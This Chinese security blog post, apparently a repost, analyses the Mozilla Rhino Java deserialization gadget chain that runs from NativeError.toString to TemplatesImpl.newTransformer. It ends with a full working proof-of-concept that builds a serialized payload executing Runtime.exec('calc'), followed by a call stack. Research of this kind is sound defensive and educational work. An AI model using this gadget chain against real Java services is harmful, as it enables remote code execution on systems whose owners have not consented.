[Java安全]关于Rhino的一些姿势利用

admin 2022年11月13日16:05:00评论56 views字数 8746阅读29分9秒阅读模式

概述

Rhino 是完全使用 Java 编写的 JavaScript 的开源实现,使 Java 可以调用 js 脚本,实现脚本语言与 Java 语言的数据交换

如果使用了与 Ubuntu 或 Debian 捆绑在一起的 OpenJdk,则可能依然存在此条利用链

这里使用的依赖版本为rhino-javascript-1.7R2

MozillaRhino1

ScriptableObject

首先看看官方的解释

[Java安全]关于Rhino的一些姿势利用

这是Scriptable接口的一个默认实现,这个类提供了很多方法,能够通过这些方法定义JavaScript对象的多种属性和方法

我们看看Scriptable接口的解释

[Java安全]关于Rhino的一些姿势利用

这个接口是所有javaScript对象都必须要实现的,提供了属性的管理和转换执行功能

在这个类中存在有调用链中相关的一个属性slots,是一个使用transient修饰的Slot数组

[Java安全]关于Rhino的一些姿势利用

对于Slot类,他是一个抽象类,我们需要关注他的子类GetterSlot

[Java安全]关于Rhino的一些姿势利用

存在有两个属性getter / setter

接下来我们来看看这条链子的入口点

NativeError

跟进org.mozilla.javascript.NativeError

首先看看该类的继承关系

[Java安全]关于Rhino的一些姿势利用

继承了IdScriptableObject类,进而实现了Serializable接口,能够进行序列化和反序列化的调用

该类的关键点在其toString方法中

[Java安全]关于Rhino的一些姿势利用

调用了类的js_toString方法,传入的参数是this对象,跟进一下

[Java安全]关于Rhino的一些姿势利用

在该方法中通过调用getString方法获取了thisObj中的name和message等相关信息,我们看看getString的逻辑

[Java安全]关于Rhino的一些姿势利用

主要是调用ScriptableObject.getProperty方法获取对应的值,跟进

[Java安全]关于Rhino的一些姿势利用

从注释中我们也可以看见端倪,这个方法的作用就是为了从一个javaScript对象中取出对应的属性名,也算是前面讲到的ScriptableObject类的管理属性中的获取属性的功能了吧(这不是废话吗)

跟进一下具体的实现吧,首先是将传入的javaScript对象传递给了start对象,通过调用javaScript对象的get方法带上属性名和javaScript对象获取结果,即是调用了Scriptable接口的get方法,一直调用到了其父类的父类ScriptableObject#get方法,跟进看看

[Java安全]关于Rhino的一些姿势利用

该方法将返回给定的属性名的值或者返回没有找到的标识,值得注意的是,这里提到如果将会有机会调用getter方法,我们跟进一下看看是如何被调用的

[Java安全]关于Rhino的一些姿势利用

方法的流程如下,首先会调用getSlot方法获取对象的slot对象,如果为空就返回没有找到,如果其不为前面提到的GetterSlot实例,则直接返回对应slot的值

我们关注的主要是为GetterSlot实例的情况,首先会取出对应的getter属性对象值,如果不为空且为MemberBox实例的时候,当该实例中的delegateTo属性为null的时候,在反射调用的时候其对象为start即是最开始的Scriptable对象,其参数为空参数

然而在其delegateTo不为null的时候,将会将属性值作为返回调用的类对象,start作为其参数

上面讲的是MemberBox的时候的逻辑,我们关注一下MemberBox是个什么

[Java安全]关于Rhino的一些姿势利用

很不幸的事,在初始化的过程中,这个delegateTo默认为空且因为其被transient修饰,我们只能走另一个分支,但是对于反射的类对象来说是固定的为传入的Scriptable对象,不能够指定任意的类对象,所以也pass掉

现在我们还有着一条路可以走,那就是那个else语句部分,如果其不为MemberBox实例的时候,如果是Function的实例,将会调用其call方法

接下来就是实现了Function的类的分析

NativeJavaMethod

org.mozilla.javascript.NativeJavaMethod类,刚好是一个实现了Function接口的类

[Java安全]关于Rhino的一些姿势利用

这个类将 Java 方法反映到 JavaScript 环境中并处理方法的重载

看看其构造方法

[Java安全]关于Rhino的一些姿势利用

传入了一个MemberBox对象,将其保存在了methods这个MemberBox[]数组中

前面提到调用了call方法,我们跟进一下call方法的逻辑吧

[Java安全]关于Rhino的一些姿势利用

首先是通过findFunction的调用,通过Context和methods等获取了对应的索引值

[Java安全]关于Rhino的一些姿势利用

之后的关键点在最后的反射的调用,传入对象是javaObject,我们向上追溯可以知道javaObject的由来如下

首先将最开始传递而来的thisObj参数,即是NativeError对象,需要满足其通过Wrapper包装过的,在进入if语句之后,调用其unwrap方法将得到的值传递给javaObject对象

但是在NativeError类中并没有满足条件,但是如果没有得到相应的条件,调用调用其getPrototype方法获取他的成员变量

[Java安全]关于Rhino的一些姿势利用

继续进行判断

总结一些,我们需要找到一个既实现了Scriptable并且又实现了Wrapper接口的一个类

NativeJavaObject

org.mozilla.javascript.NativeJavaObject中就是满足条件的类

[Java安全]关于Rhino的一些姿势利用

在其upwrap方法中

[Java安全]关于Rhino的一些姿势利用

将会返回javaObject属性值,虽然这个属性是被transient修饰的,但是在其readObject方法中能够保存javaObject属性值

[Java安全]关于Rhino的一些姿势利用

所以现在回到了前面讲到了,取到了对应的javaObject对象,之后将会调用MemberBox#invoke方法,传入javaObject对象和参数数组

MemberBox

[Java安全]关于Rhino的一些姿势利用

在该类的invoke方法中,首先调用method方法获取了memberObject属性值

[Java安全]关于Rhino的一些姿势利用

同样的,虽然属性被transient修饰了,但是同样实现了writeMember/readMember方法可以保存memberObject属性

所以我们能够控制任意类的任意方法的调用了

构造

前面提到了该链的入口方法是toString的调用,对于toString的调用,我们并不陌生,很多常见的库都存在对应的toString链,比如CC库/ROME组件/hessian协议中,印象中好像JDK都存在一条toString的调用链

首先构造一个恶意的TemplatesImpl对象

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后就是创建一个NativeJavaObject类对象,使得调用其unwrap方法,返回恶意的TemplatesImpl对象

由于该类在序列化和反序列化中将会调用initMembers方法

[Java安全]关于Rhino的一些姿势利用

对parent属性有相应的处理,所以我们需要在构造类对象的时候为这个属性赋值

Context context          = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);

对于TemplatesImpl链来说,主要是调用其newTransformer方法造成的命令执行

所以我们创建一个NativeJavaMethod类对象,指定其调用的方法名

[Java安全]关于Rhino的一些姿势利用

Method newTransformer   = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

之后实例化一个入口对象NativeError

// 实例化 NativeError 类
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();

根据前面的分析,反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中

Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);

再之后将 GetterSlot 放入到 NativeError 的 slots 中

Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

之后就是反射将NativeJavaMethod写入GetterSlotgetter属性中

之后再通过链子触发其toString方法

完整的POC

package pers.MozillaRhino;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import pers.util.SerializeUtil;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


public class MozillaRhino1 {
public static void main(String[] args) {
try {
TemplatesImpl tmpl = (TemplatesImpl) SerializeUtil.generatorTemplatesImpl();
// 使用恶意类 TemplatesImpl 初始化 NativeJavaObject
// 这样 unwrap 时会返回 tmpl 实例
// 由于 NativeJavaObject 序列化时会调用 initMembers() 方法
// 所以需要在实例化 NativeJavaObject 时也进行相关初始化
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);

// 使用 newTransformer 的 Method 对象实例化 NativeJavaMethod 类
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

// 实例化 NativeError 类
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();

// 使用反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);

// 将 GetterSlot 放入到 NativeError 的 slots 中
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

// 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里
// ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);

// 生成 BadAttributeValueExpException 实例,用于反序列化触发 toString 方法
BadAttributeValueExpException exception = new BadAttributeValueExpException("xxx");
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, nativeError);

ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(exception);
SerializeUtil.readObject(byteArrayOutputStream);
} catch (Exception e) {
e.printStackTrace();
}
}
}

[Java安全]关于Rhino的一些姿势利用

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:161, MemberBox (org.mozilla.javascript)
call:247, NativeJavaMethod (org.mozilla.javascript)
getImpl:2024, ScriptableObject (org.mozilla.javascript)
get:287, ScriptableObject (org.mozilla.javascript)
get:387, IdScriptableObject (org.mozilla.javascript)
getProperty:1617, ScriptableObject (org.mozilla.javascript)
getString:198, NativeError (org.mozilla.javascript)
js_toString:150, NativeError (org.mozilla.javascript)
toString:110, NativeError (org.mozilla.javascript)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:60, MozillaRhino1 (pers.MozillaRhino)

Reference

https://su18.org/


来源先知社区的【1916633439694694/素十八】师傅

注:如有侵权请联系删除



[Java安全]关于Rhino的一些姿势利用

添加小浪队长进群

[Java安全]关于Rhino的一些姿势利用



原文始发于微信公众号(衡阳信安):[Java安全]关于Rhino的一些姿势利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月13日16:05:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Java安全]关于Rhino的一些姿势利用http://cn-sec.com/archives/1406514.html

发表评论

匿名网友 填写信息